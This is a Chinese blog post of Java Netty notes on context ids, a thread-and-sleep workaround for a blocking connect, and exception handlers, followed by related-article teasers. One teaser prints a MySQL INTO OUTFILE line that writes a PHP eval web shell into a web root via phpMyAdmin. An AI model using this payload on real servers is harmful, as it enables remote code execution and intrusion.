java-netty知识点笔记和注意事项
- 如何获取ctx的id
使用ctx.ctx.toString()就可以了
public void channelRead(ChannelHandlerContext ctx, Object msg) {//传来的消息包装成字节缓冲区String byteBuf = (String) msg;
// ByteBuf byteBuf = (ByteBuf) msg;//Netty提供了字节缓冲区的toString方法,并且可以设置参数为编码格式:CharsetUtil.UTF_8System.out.println("客户端读取服务返回的数据:" + byteBuf+" and ctx is "+ctx.toString());ctxOut=ctx;RESPSTR=byteBuf;}
结果如下
客户端读取服务返回的数据:0 and ctx is ChannelHandlerContext(NettyClientHandlerInner#0, [id: 0x59510140, L:/127.0.0.1:54769 - R:/127.0.0.1:1003])
- 阻塞执行问题
在启动了连接server后,如果是封装到一个方法里,程序是不能往下执行的,如下
如果把nettyClientHandlerInner.sendMSG(“write:0”);放在了client.connectToServer(nettyClientHandlerInner);后面,程序是执行到connectToServer就不会往下执行了
NettyClientHandlerInner nettyClientHandlerInner=new NettyClientHandlerInner();new Thread(new Runnable() {@Overridepublic void run() {nettyClientQA client = new nettyClientQA();nettyClientHandlerInner.sendMSG("write:0");client.connectToServer(nettyClientHandlerInner);}}).start();
上面代码执行到sendMSG的时候,会报错,因为还没有通道激活初始化,因此,解决暂时方法是,应该还有更好的解决方法,等后面想到了再更新
NettyClientHandlerInner nettyClientHandlerInner=new NettyClientHandlerInner();nettyClientQA client = new nettyClientQA();new Thread(new Runnable() {@Overridepublic void run() {new Thread(new Runnable() {@Overridepublic void run() {try {Thread.sleep(5000);} catch (InterruptedException e) {e.printStackTrace();}nettyClientHandlerInner.sendMSG("write:0");}}).start();client.connectToServer(nettyClientHandlerInner);}}).start();
- 如何捕获client handler的异常
加个内部类即可
package sample.appfunction.netty;import io.netty.bootstrap.Bootstrap;
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import io.netty.handler.codec.LineBasedFrameDecoder;
import io.netty.handler.codec.string.StringDecoder;
import io.netty.util.CharsetUtil;import java.io.IOException;
import java.util.Scanner;
import java.util.concurrent.TimeUnit;public class nettyClientQA {public void connectToServer(NettyClientHandlerInner nettyClientHandler){EventLoopGroup workerGroup = new NioEventLoopGroup();try {Bootstrap b = new Bootstrap(); // (1)b.group(workerGroup); // (2)b.channel(NioSocketChannel.class); // (3)b.option(ChannelOption.SO_KEEPALIVE, true); // (4)b.handler(new ChannelInitializer<SocketChannel>() {@Overridepublic void initChannel(SocketChannel ch) throws Exception {ch.pipeline().addLast(new LineBasedFrameDecoder(1024));ch.pipeline().addLast(new StringDecoder());ch.pipeline().addLast(nettyClientHandler);ch.pipeline().addLast(new ExceptionHandlingChannelHandler());}});// Start the client.ChannelFuture f = b.connect("127.0.0.1", 1003).sync(); // (5)f.addListener(new ChannelFutureListener() {@Overridepublic void operationComplete(ChannelFuture future) {if (future.isSuccess()) {// 连接成功,无需重连System.out.println("connect to server success");} else {// 连接失败,进行重连System.out.println("connect to server failed,try it again");future.channel().eventLoop().schedule(new Runnable() {@Overridepublic void run() {b.connect(); // 重新连接服务端}}, 1, TimeUnit.SECONDS); // 1秒后进行重连}}});// Wait until the connection is closed.f.channel().closeFuture().sync();} catch (InterruptedException e) {e.printStackTrace();} finally {workerGroup.shutdownGracefully();}}public class ExceptionHandlingChannelHandler extends ChannelInboundHandlerAdapter {@Overridepublic void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {cause.printStackTrace(); // 打印异常堆栈跟踪System.out.println("发生异常");}}
}
- 在server handler的异常如何捕捉
@ChannelHandler.Sharablepublic class NettyServerHandler extends ChannelInboundHandlerAdapter { // (1)@Overridepublic void channelRead(ChannelHandlerContext ctx, Object msg) throws IOException { // (2)String byteBuf = (String) msg;pubMSG=byteBuf;
// System.out.println("客户端发来的消息是:" + byteBuf);System.out.println("收到连接的原信息 "+pubMSG);if(byteBuf.contains("write:")){currentValue=Integer.parseInt(byteBuf.split(":")[1]);System.out.println("收到写入请求 "+currentValue);}if(byteBuf.contains("read")){ctx.writeAndFlush(Unpooled.copiedBuffer(currentValue+"\r\n", CharsetUtil.UTF_8));System.out.println("收到读取请求 "+currentValue);}}//数据读取完毕事件public void channelReadComplete(ChannelHandlerContext ctx) throws IOException, InterruptedException {//数据读取完毕,将信息包装成一个Buffer传递给下一个Handler,Unpooled.copiedBuffer会返回一个Buffer//调用的是事件处理器的上下文对象的writeAndFlush方法//意思就是说将 你好 传递给了下一个handler
// ctx.writeAndFlush(Unpooled.copiedBuffer("服务端已经读取消息完成!"+pubMSG+"\r\n", CharsetUtil.UTF_8));}@Overridepublic void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { // (4)// Close the connection when an exception is raised.
// cause.printStackTrace();Channel channel = ctx.channel();if(channel.isActive())ctx.close();System.out.println(cause.getCause());System.out.println(cause.getMessage());}}```相关文章:
java-netty知识点笔记和注意事项
如何获取ctx的id 使用ctx.ctx.toString()就可以了 public void channelRead(ChannelHandlerContext ctx, Object msg) {//传来的消息包装成字节缓冲区String byteBuf (String) msg; // ByteBuf byteBuf (ByteBuf) msg;//Netty提供了字节缓冲区的toString方法ÿ…...
英伟达不同系列GPU介绍
英伟达有以下几个系列的产品线,并介绍它们的特点和主要应用领域: 1. GeForce系列(G系列): - 特点:GeForce系列是英伟达主打的消费级GPU产品线,注重提供高性能的图形处理能力和游戏特性。它们…...
C语言——I /深入理解指针(二)
一、数组名的理解 int arr[10] {1,2,3,4,5,6,7,8,9,10}; int *p &arr[0];这⾥我们使⽤ &arr[0] 的⽅式拿到了数组第⼀个元素的地址,但是其实数组名本来就是地址,⽽且 是数组⾸元素的地址,我们来做个测试。 #include <stdio.…...
MySQL使用函数和存储过程实现:向数据表快速插入大量测试数据
实现过程 1.创建表 CREATE TABLE user_info (id INT(11) NOT NULL AUTO_INCREMENT,name VARCHAR(20) DEFAULT NULL,age INT(3) DEFAULT NULL,pwd VARCHAR(20) DEFAULT NULL,phone_number VARCHAR(11) DEFAULT NULL,email VARCHAR(255) DEFAULT NULL,address VARCHAR(255) DEF…...
力扣labuladong——一刷day59
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、力扣549. 二叉树中最长的连续序列二、力扣1325. 删除给定值的叶子节点 前言 像求和、求高度这种基本的二叉树函数很容易写,有时候只要在它们的后…...
接口性能测试 —— Jmeter并发与持续性压测
接口压测的方式: 1、同时并发:设置线程组、执行时间、循环次数,这种方式可以控制接口请求的次数 2、持续压测:设置线程组、循环次数,勾选“永远”,调度器(持续时间),这种…...
redis报错3
INFO: Initializing SpringDispatcherServletdispatcherServlet...
Proteus的网络标号与总线
Proteus为了减少过多、复杂的连线,可以使用网络标号与总线配合使用。 Proteus的导线上添加了网络标号,意味着在Proteus上相同的网络标号是连在一起的,所说在图纸上看不出来。 如下图是比较好的Proteus中使用总线的绘制的图纸。可以效仿着画…...
4、stable diffusion
github 安装anaconda环境 conda env create -f environment.yaml conda activate ldm安装依赖 conda install pytorch1.12.1 torchvision0.13.1 torchaudio0.12.1 cudatoolkit11.3 -c pytorch pip install transformers4.19.2 diffusers invisible-watermark pip install -e…...
LeetCode51. N-Queens
文章目录 一、题目二、题解 一、题目 The n-queens puzzle is the problem of placing n queens on an n x n chessboard such that no two queens attack each other. Given an integer n, return all distinct solutions to the n-queens puzzle. You may return the answe…...
前端vue3——html2canvas给网站截图生成宣传海报
文章目录 ⭐前言⭐选择html2canvas实现网页截图💖 截图 ⭐图片url截图显示不出来问题💖 解决 ⭐最终效果💖 定义海报 ⭐总结⭐结束 ⭐前言 大家好,我是yma16,本文分享关于 前端vue3——html2canvas给网站截图生成宣传…...
C语言实现串的部分算法
一、简介 串(string)(或字符串)是由零个或多个字符组成的有序序列,一般记为 sa1a2....an s为串的名,用单引号括起来的时字符序列串的值,串中字符的数目n称为串的长度。 零个字符的串称为空串…...
UE5、CesiumForUnreal实现加载GeoJson绘制多面(MultiPolygon)功能(支持点选高亮)
文章目录 1.实现目标2.实现过程2.1 数据与预处理2.2 GeoJson解析2.3 Mesh构建与属性存储2.4 核心代码2.5 材质2.6 蓝图应用测试3.参考资料1.实现目标 在之前的文章中,基于GeoJson数据加载,实现了绘制单面功能,但只支持单个要素Feature。本文这里实现对Geojson内所有面要素的…...
pandas教程:USDA Food Database USDA食品数据库
文章目录 14.4 USDA Food Database(美国农业部食品数据库) 14.4 USDA Food Database(美国农业部食品数据库) 这个数据是关于食物营养成分的。存储格式是JSON,看起来像这样: {"id": 21441, &quo…...
0基础学习VR全景平台篇第122篇:VR视频剪辑和输出 - PR软件教程
上课!全体起立~ 大家好,欢迎观看蛙色官方系列全景摄影课程! 开始之前如果没有接触过pr这款软件的话,建议先去看上一篇 认识视频剪辑软件Premiere 大致了解一下pr。 回到正题今天来教大家VR视频的剪辑和输出 我们先双击打开…...
ucharts中,当数据为0时,不显示
当为0时,会显示出来,值比较小的时候,数据会显示在一起,不美观 期望效果: 实现步骤: 我是将uCharts插件下载导入到src/uni_modules下的 1、修改src/uni_modules/qiun-data-charts/js_sdk/u-charts/confi…...
React函数组件渲染两次
渲染两次是因为react默认开启了严格模式 React.StrictMode标签作用: 1、识别不安全的生命周期 2、关于使用过时字符串 ref API 的警告 3、关于使用废弃的 findDOMNode 方法的警告 4、检测意外的副作用 5、检测过时的 context API 注释掉React.StrictMode即为关闭严…...
人工智能 - 图像分类:发展历史、技术全解与实战
目录 一、:图像分类的历史与进展历史回顾深度学习的革命当前趋势未来展望 二:核心技术解析图像预处理神经网络基础卷积神经网络(CNN)深度学习框架 第三部分:核心代码与实现环境搭建数据加载和预处理构建CNN模型模型训练…...
go标准库
golang标准库io包 input output io操作是一个很庞大的工程,被封装到了许多包中以供使用 先来讲最基本的io接口 Go语言中最基本的I/O接口是io.Reader和io.Writer。这些接口定义了读取和写入数据的通用方法,为不同类型的数据源和数据目标提供了统一的接…...
【Web安全】拿到phpMyAdmin如何获取权限
文章目录 1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php eval($_REQUEST[6868])?>" into outfile "C:\\phpStudy\\WWW\\p…...
4步打造微信聊天记录的数字保险箱:WeChatMsg全功能指南
4步打造微信聊天记录的数字保险箱:WeChatMsg全功能指南 【免费下载链接】WeChatMsg 提取微信聊天记录,将其导出成HTML、Word、CSV文档永久保存,对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.com/GitHub_Trending/we/WeCh…...
隧道液氮速冻机哪家企业值得信赖
隧道液氮速冻机行业分析:成都华能低温设备制造有限公司的卓越表现一、行业痛点分析在隧道液氮速冻机领域,存在着一些技术挑战。首先,速冻速度的提升面临瓶颈。传统的速冻方式难以满足现代食品加工等行业对于快速冻结以保证产品品质的要求。据…...
别再盲目上协程!Python无锁并发成本决策树(含12个关键阈值参数与AWS/Azure实测TCO对比)
第一章:Python无锁并发的本质与GIL破局前提Python的“无锁并发”并非指完全绕过同步机制,而是指在特定场景下,通过原子操作、不可变数据结构或线程/进程隔离,避免显式使用 threading.Lock 等阻塞原语实现安全协作。其本质依赖于三…...
告别《空洞骑士》模组管理噩梦:Lumafly如何让300+模组配置化繁为简
告别《空洞骑士》模组管理噩梦:Lumafly如何让300模组配置化繁为简 【免费下载链接】Lumafly A cross platform mod manager for Hollow Knight written in Avalonia. 项目地址: https://gitcode.com/gh_mirrors/lu/Lumafly 《空洞骑士》作为一款备受欢迎的独…...
Llama-3.2V-11B-cot 开发环境避坑指南:从 Anaconda 安装到依赖冲突解决
Llama-3.2V-11B-cot 开发环境避坑指南:从 Anaconda 安装到依赖冲突解决 最近在折腾 Llama-3.2V-11B-cot 这个多模态模型,发现不少朋友在第一步——搭建开发环境上就卡住了。要么是 Python 版本不对,要么是 PyTorch 装不上,最头疼…...
lite-avatar形象库真实体验:如何快速找到并应用心仪的数字人形象
lite-avatar形象库真实体验:如何快速找到并应用心仪的数字人形象 1. 引言:为什么选择lite-avatar形象库? 在数字人应用开发中,找到高质量且风格合适的虚拟形象往往是最耗时的环节之一。传统方式需要从零开始训练模型,…...
PyTorch 2.8镜像企业实操:证券公司研报图表→财经解读短视频流水线
PyTorch 2.8镜像企业实操:证券公司研报图表→财经解读短视频流水线 1. 项目背景与需求分析 在证券行业,分析师每天需要处理大量研报数据,其中包含丰富的图表信息。传统的人工解读方式存在三个痛点: 时效性差:从图表…...
流形优化实战:从特征值问题到Grassmann流形的算法探索
1. 流形优化与特征值问题的奇妙碰撞 第一次听说"流形优化"这个词时,我正被一个工程项目的振动分析问题困扰。当时需要计算大型结构矩阵的前几个最小特征值,传统算法要么收敛太慢,要么内存消耗惊人。直到一位数学系的朋友建议我试试…...
快速上手:CYBER-VISION零号协议Node.js后端服务集成指南
快速上手:CYBER-VISION零号协议Node.js后端服务集成指南 你是不是已经部署好了CYBER-VISION零号协议模型,看着那个命令行界面,心里琢磨着:“这玩意儿怎么才能接到我的Web应用里去?” 别急,这正是我们今天要…...
MySQL索引优化+慢查询全解析
上一篇博客我们讲了MySQL存储引擎和视图的核心考点,今天聚焦开发者最常接触、面试最常考的两大模块——索引优化和慢查询。索引是MySQL的“加速神器”,但用错反而会拖慢性能;慢查询是定位性能瓶颈的关键,掌握其配置和分析方法能快…...
